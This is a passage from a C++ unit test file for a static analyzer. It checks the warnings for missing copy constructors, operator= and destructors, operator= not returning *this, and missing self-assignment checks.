errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f) = default;\\n\"\n \" F&operator=(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The copy constructor is explicitly defaulted but the default copy constructor does not work well. It is recommended to define or delete the copy constructor. [noCopyConstructor]\\n\", errout_str());\n }\n\n void copyConstructor4() {\n checkCopyConstructor(\"class noncopyable {\\n\"\n \"protected:\\n\"\n \" noncopyable() {}\\n\"\n \" ~noncopyable() {}\\n\"\n \"\\n\"\n \"private:\\n\"\n \" noncopyable( const noncopyable& );\\n\"\n \" const noncopyable& operator=( const noncopyable& );\\n\"\n \"};\\n\"\n \"\\n\"\n \"class Base : private noncopyable {};\\n\"\n \"\\n\"\n \"class Foo : public Base {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor5() {\n checkCopyConstructor(\"class Copyable {};\\n\"\n \"\\n\"\n \"class Foo : public Copyable, public UnknownType {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class Copyable {};\\n\"\n \"\\n\"\n \"class Foo : public UnknownType, public Copyable {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor6() {\n checkCopyConstructor(\"struct S {\\n\"\n \" S() {\\n\"\n \" for (int i = 0; i < 5; i++)\\n\"\n \" a[i] = new char[3];\\n\"\n \" }\\n\"\n \" char* a[5];\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (warning) Struct 'S' does not have a copy constructor which is recommended since it has dynamic memory/resource management.\\n\"\n \"[test.cpp:4]: (warning) Struct 'S' does not have a operator= which is recommended since it has dynamic memory/resource management.\\n\"\n \"[test.cpp:4]: (warning) Struct 'S' does not have a destructor which is recommended since it has dynamic memory/resource management.\\n\",\n \"\",\n errout_str());\n }\n\n void deletedMemberPointer() {\n\n // delete ...\n checkCopyConstructor(\"struct P {};\\n\"\n \"class C {\\n\"\n \" P *p;\\n\"\n \"public:\\n\"\n \" explicit C(P *p) : p(p) {}\\n\"\n \" ~C() { delete p; }\\n\"\n \" void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:19]: (warning) Class 'C' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\"\n \"[test.cpp:6:19]: (warning) Class 'C' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n\n // free(...)\n checkCopyConstructor(\"struct P {};\\n\"\n \"class C {\\n\"\n \" P *p;\\n\"\n \"public:\\n\"\n \" explicit C(P *p) : p(p) {}\\n\"\n \" ~C() { free(p); }\\n\"\n \" void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (warning) Class 'C' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\"\n \"[test.cpp:6:17]: (warning) Class 'C' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n }\n\n void noOperatorEq() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n\n // defaulted operator=\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f) = default;\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The operator= is explicitly defaulted but the default operator= does not work well. It is recommended to define or delete the operator=. [noOperatorEq]\\n\", errout_str());\n\n // deleted operator=\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f) = delete;\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // base class deletes operator=\n checkCopyConstructor(\"struct F : NonCopyable {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void noDestructor() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" C* c;\\n\"\n \" F() { c = new C; }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" int* i;\\n\"\n \" F() { i = new int(); }\\n\"\n \" F(const F &f);\\n\"\n \" F& operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n checkCopyConstructor(\"struct Data { int x; int y; };\\n\"\n \"struct F {\\n\"\n \" Data* c;\\n\"\n \" F() { c = new Data; }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n // defaulted destructor\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f);\\n\"\n \" ~F() = default;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The destructor is explicitly defaulted but the default destructor does not work well. It is recommended to define the destructor. [noDestructor]\\n\", errout_str());\n\n // deleted destructor\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f);\\n\"\n \" ~F() = delete;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Check that operator Equal returns reference to this\n#define checkOpertorEqRetRefThis(...) checkOpertorEqRetRefThis_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOpertorEqRetRefThis_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings0, this);\n checkClass.operatorEqRetRefThis();\n }\n\n void operatorEqRetRefThis1() {\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return b; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:10:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis( // #11380\n \"struct S {\\n\"\n \" S& operator=(const S& other) {\\n\"\n \" i = []() { return 42; }();\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis2() {\n // ticket # 1323\n checkOpertorEqRetRefThis(\n \"class szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"szp &szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:5:11]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"NS::szp &NS::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:19]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" NS::szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:12]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" NS::szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"NS::szp &NS::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:19]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"A::szp &A::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:17]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" A::szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" A::szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"A::szp &A::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:17]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n }\n\n void operatorEqRetRefThis3() {\n // ticket # 1405\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" inline A &operator =(int *other) { return (*this); };\\n\"\n \" inline A &operator =(long *other) { return (*this = 0); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return (*this = 0); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" inline A &operator =(int *other) { return (*this); };\\n\"\n \" inline A &operator =(long *other) { return operator = (*(int *)other); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return operator = (*(int *)other); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return this->operator = (*(int *)other); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis( // #9045\n \"class V {\\n\"\n \"public:\\n\"\n \" V& operator=(const V& r) {\\n\"\n \" if (this == &r) {\\n\"\n \" return ( *this );\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis4() {\n // ticket # 1451\n checkOpertorEqRetRefThis(\n \"P& P::operator = (const P& pc)\\n\"\n \"{\\n\"\n \" return (P&)(*this += pc);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis5() {\n // ticket # 1550\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"protected:\\n\"\n \" A & operator=(const A &a) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"private:\\n\"\n \" A & operator=(const A &a) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) {\\n\"\n \" rand();\\n\"\n \" throw std::exception();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should either return reference to 'this' instance or be declared private and left unimplemented. [operatorEqShouldBeLeftUnimplemented]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) {\\n\"\n \" rand();\\n\"\n \" abort();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should either return reference to 'this' instance or be declared private and left unimplemented. [operatorEqShouldBeLeftUnimplemented]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A :: operator=(const A &a) { }\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n }\n\n void operatorEqRetRefThis6() { // ticket #2478 (segmentation fault)\n checkOpertorEqRetRefThis(\n \"class UString {\\n\"\n \"public:\\n\"\n \" UString& assign( const char* c_str );\\n\"\n \" UString& operator=( const UString& s );\\n\"\n \"};\\n\"\n \"UString& UString::assign( const char* c_str ) {\\n\"\n \" std::string tmp( c_str );\\n\"\n \" return assign( tmp );\\n\"\n \"}\\n\"\n \"UString& UString::operator=( const UString& s ) {\\n\"\n \" return assign( s );\\n\"\n \"}\");\n }\n\n void operatorEqRetRefThis7() { // ticket #5782 Endless recursion in CheckClass::checkReturnPtrThis()\n checkOpertorEqRetRefThis(\n \"class basic_fbstring {\\n\"\n \" basic_fbstring& operator=(int il) {\\n\"\n \" return assign();\\n\"\n \" }\\n\"\n \" basic_fbstring& assign() {\\n\"\n \" return replace();\\n\"\n \" }\\n\"\n \" basic_fbstring& replaceImplDiscr() {\\n\"\n \" return replace();\\n\"\n \" }\\n\"\n \" basic_fbstring& replace() {\\n\"\n \" return replaceImplDiscr();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Check that operator Equal checks for assignment to self\n#define checkOpertorEqToSelf(...) checkOpertorEqToSelf_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOpertorEqToSelf_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n checkClass.operatorEqToSelf();\n }\n\n void operatorEqToSelf1() {\n // this test has an assignment test but it is not needed\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { if (&a != this) { } return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but it is not needed\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this class needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { if (&a != this) { } return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a == this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a == this) == true)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a == this) != false)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (!((&a == this) == false))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a != this) == false)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n 